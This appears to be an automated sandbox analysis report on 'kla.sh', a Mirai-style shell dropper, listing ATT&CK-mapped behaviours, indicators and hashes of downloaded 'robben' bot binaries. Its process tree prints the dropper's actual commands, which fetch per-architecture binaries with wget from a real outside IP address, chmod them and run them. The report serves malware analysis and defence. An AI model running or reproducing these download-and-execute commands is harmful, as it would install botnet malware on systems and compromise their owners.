bb36568c1f0a4f4d604cc67f8692506291eb1ffd217a451ffc846c94daa09440

Analysis

max time kernel
150s
max time network
146s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
17/08/2026, 18:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kla.sh
Size 2KB
Sample260817-wxaefsch89
SHA256 bb36568c1f0a4f4d604cc67f8692506291eb1ffd217a451ffc846c94daa09440
MD5 b33067259b86cab383d1989c349bf290
SHA1 64c43cf7e484cf04d65b9d37149dfc08630dbe96
SHA512 13fdaeaf449440bde61a8abfc4cefcb9e1f50cc7170d5f73dbb01789fdce7ea9e0f1b424e27dd7aaa9d7f2b9da6c48fe12dea04e4743bf980cb0c7b27738fb22
TLSH
T1A05181C811E268717CF69C2772698814B8C4B582EDCA6E04E8DCF4F958CCF0AB515BB3
MD5 SHA1 SHA512 TLSH

Score

7^/10

credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
759	chmod
763	chmod
784	chmod
792	chmod
743	chmod
755	chmod
767	chmod
776	chmod
803	chmod

Deletes itself 1 IoCs

pid	Process
749	robben

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/robben	744	kla.sh
/tmp/robben	749	kla.sh
/tmp/robben	756	kla.sh
/tmp/robben	760	kla.sh
/tmp/robben	764	kla.sh
/tmp/robben	768	kla.sh
/tmp/robben	777	kla.sh
/tmp/robben	785	kla.sh
/tmp/robben	793	kla.sh
/tmp/robben	805	kla.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

Enumerates running processes
Discovers information about currently running processes on the system

Reads process memory 1 TTPs 64 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/899/maps	robben
File opened for reading	/proc/909/maps	robben
File opened for reading	/proc/12/maps	robben
File opened for reading	/proc/22/maps	robben
File opened for reading	/proc/71/maps	robben
File opened for reading	/proc/74/maps	robben
File opened for reading	/proc/176/maps	robben
File opened for reading	/proc/372/maps	robben
File opened for reading	/proc/710/maps	robben
File opened for reading	/proc/888/maps	robben
File opened for reading	/proc/108/maps	robben
File opened for reading	/proc/382/maps	robben
File opened for reading	/proc/816/maps	robben
File opened for reading	/proc/824/maps	robben
File opened for reading	/proc/855/maps	robben
File opened for reading	/proc/920/maps	robben
File opened for reading	/proc/5/maps	robben
File opened for reading	/proc/15/maps	robben
File opened for reading	/proc/21/maps	robben
File opened for reading	/proc/387/maps	robben
File opened for reading	/proc/709/maps	robben
File opened for reading	/proc/819/maps	robben
File opened for reading	/proc/828/maps	robben
File opened for reading	/proc/881/maps	robben
File opened for reading	/proc/2/maps	robben
File opened for reading	/proc/4/maps	robben
File opened for reading	/proc/124/maps	robben
File opened for reading	/proc/712/maps	robben
File opened for reading	/proc/839/maps	robben
File opened for reading	/proc/852/maps	robben
File opened for reading	/proc/913/maps	robben
File opened for reading	/proc/78/maps	robben
File opened for reading	/proc/159/maps	robben
File opened for reading	/proc/381/maps	robben
File opened for reading	/proc/677/maps	robben
File opened for reading	/proc/702/maps	robben
File opened for reading	/proc/718/maps	robben
File opened for reading	/proc/788/maps	robben
File opened for reading	/proc/938/maps	robben
File opened for reading	/proc/152/maps	robben
File opened for reading	/proc/767/maps	robben
File opened for reading	/proc/795/maps	robben
File opened for reading	/proc/942/maps	robben
File opened for reading	/proc/11/maps	robben
File opened for reading	/proc/173/maps	robben
File opened for reading	/proc/681/maps	robben
File opened for reading	/proc/907/maps	robben
File opened for reading	/proc/18/maps	robben
File opened for reading	/proc/682/maps	robben
File opened for reading	/proc/704/maps	robben
File opened for reading	/proc/924/maps	robben
File opened for reading	/proc/931/maps	robben
File opened for reading	/proc/14/maps	robben
File opened for reading	/proc/10/maps	robben
File opened for reading	/proc/17/maps	robben
File opened for reading	/proc/73/maps	robben
File opened for reading	/proc/81/maps	robben
File opened for reading	/proc/342/maps	robben
File opened for reading	/proc/370/maps	robben
File opened for reading	/proc/791/maps	robben
File opened for reading	/proc/13/maps	robben
File opened for reading	/proc/72/maps	robben
File opened for reading	/proc/740/maps	robben
File opened for reading	/proc/817/maps	robben

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	scanbot	749	robben

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/mounts	robben
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
747	wget
749	robben

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/robben	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/robben	wget

/tmp/kla.sh
/tmp/kla.sh
1⤵
- Executes dropped EXE
PID:713
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/px86
  2⤵
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/robben
  ./robben px86
  2⤵
  PID:744
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/pmips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/robben
  ./robben pmips
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Reads process memory
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:749
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/pmpsl
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/robben
  ./robben pmpsl
  2⤵
  PID:756
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/parm
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/robben
  ./robben parm
  2⤵
  PID:760
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/parm5
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/robben
  ./robben parm5
  2⤵
  PID:764
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/parm6
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/robben
  ./robben parm6
  2⤵
  PID:768
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/parm7
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/robben
  ./robben parm7
  2⤵
  PID:777
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/pppc
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/robben
  ./robben pppc
  2⤵
  PID:785
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/pm68k
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/robben
  ./robben pm68k
  2⤵
  PID:793
- /usr/bin/wget
  wget -q -O robben http://176.65.139.196/bins/psh4
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 robben
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/robben
  ./robben psh4
  2⤵
  PID:805

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 857KB
SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
MD5 a39fe8036e559ce804e26518061e59ff
SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
TLSH
T12F154B5337218F1CF361D17004B3CE666AB652922BF68689927CF5203B90F6D641FFA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 130KB
SHA256 979bd80a9ffde500946e02911d2824eab5fb25c265086b6569e6fff6977d21a6
MD5 3499d06114e8a6ec77c68a861af98c4d
SHA1 b71a4be437ad29517f92c9932052ef93d7a9869a
SHA512 280564a9ef2c2efb5ee1ded7c4504208ab40b209150b33d823c79f875b44668ae008a992d23fdfdfd53274096f036ab3a3710f9c3ffdd778698dca4c8b47bbb3
SSDEEP 3072:itqlV/o6aopCtw4EX4HHTfmqx1Gyx0Jhf:itI/DGtnldxQo0L
TLSH
T1CBD39FC1E743D0F5E85205F0103BA7318B7AD53A943AEB96D7A93E31AC62A419B1B35C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 238KB
SHA256 ed6bae2157415fa2477745b620368c5056d2a57a0c8a98648cd9352f8f3e248d
MD5 62044e927523e3cc2cc569772ec662e0
SHA1 f43692a85f55b0f742f88000673a9621f95cb23a
SHA512 40f59a1babacbd5d73df46f8c86782c35c8d8184a702d3c364b8ae62cfcb2ab410cfdcf17302a44d2f028911e8d3108cfc8c9a358ac80c9d7df8fd0833285ba0
SSDEEP 3072:UDMB4rtkUoO86hWRgMkIZdzWcVzYPh3/dZmNyGgcvTY:UDM258OxQZBJk1dZm42c
TLSH
T11234B51E6F228F6EF269CB7447F74E35975C23D626E1D681D2ACC2101E6038E541FBA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 242KB
SHA256 f2d84aa5b96bbfbe0d3f79a8913947949918af763bdda32c73454b0bf0065548
MD5 f1f5da5d03b3dd7b0a634d36ac90f6a8
SHA1 68941a3a6487cf78392111be646a2cd3b4105852
SHA512 1d0d0b54bab7114cb510227e3b5059e50ec791aef9a93125a4ef858f86dfb4edd4d94f9e467312cfe8e0efa15dccac762a4287972332c6be2ed7e23155f4dbed
SSDEEP 3072:9O95LHWecxKaGH5kASKYOn2jMhOY5+7lGNJuJilsEOVb:o912hLGBSpwhr5sbIl2V
TLSH
T10734F90AAB510FFBDC6BDD3702E91B0624CC641722A52F367678DA18F94A54F4AD3C78
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 178KB
SHA256 3336124beee46cdc5beb66dc86ee7bb13a7442a1a9240e8ee2ea499533c83d18
MD5 b027bc1e922f55f7c05bc7479c0da222
SHA1 0a3c0f7961c622a87124d9046db4cc6698d022b0
SHA512 035b49373dae335e88eb084b9799a621595fb3d9ee6e22caa44dd6e4e6cbe24d930733d990ca79108e60386435825efc4a9d44e3443df78b392daa35704d080e
SSDEEP 3072:5xFuzOREzpKeNFLncVfe/nCir4WJ3cVMJnnXC8MiQq:wEEFckP/r4W1cVMtS8P
TLSH
T1C1042945F8815A17C6D612BBFB4E428D372A27A8D3EE7103DD255F21378B96B0E37242
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 78KB
SHA256 0e66fca2cc47e586e9e355526cd72369878a6e2ade9b979609f3796aa7e4c653
MD5 0f3ff049638f19c178cc732d5dd43bfd
SHA1 4b30e778caf0015981e0f9f063c8f2904af63d20
SHA512 24da6d903e8dc2fad7cbdfcba610320b450176153584ad822710f11e4d62567003bd5ddba90425674e3b31e35d05127fef8ffc6f44133f65c3d9586065ae5198
SSDEEP 1536:wnhLIijDyU8qNxcl6TCMXYoEp4ReABaPkR2mWfgQIyduN3:6pIiHEqNxcl6TJ6pALGoelq3
TLSH
T184731A91BD82566EC2D063BBFA5E528D333563F8D2DE3223D9118B1133CA51F0977AA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

robben

Path /tmp/robben
Size 252KB
SHA256 f2d6edd8405fc797b4ab2a7099bd2d73caf13d8b80bba34dafed924a4a6bc2b3
MD5 f1cdaf4c3f460718fec5e1468bbb56c7
SHA1 f1bc40a5ef43a5d8a65fc68caae820ca36a71934
SHA512 339283e45d160b7633a5b2a81aae31c49202734cc8c446b7ab04247620831df69fdc4ee0997afc2f7facfb9e717ca058ce16b366272231cdd903f04d45614c4f
SSDEEP 3072:T92gcA+jf7CDnk40bT8aC2X6AAW/qoIvAQxBsNS+9j/GfQmx2cLis:T928k4qT8JqJSbAQ6Xj/GfQmx2cLis
TLSH
T176447D53DA245E6BC1958B34B0A79B3A2733D02553931F5EA61EC5B83C43F6CF90A3A4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads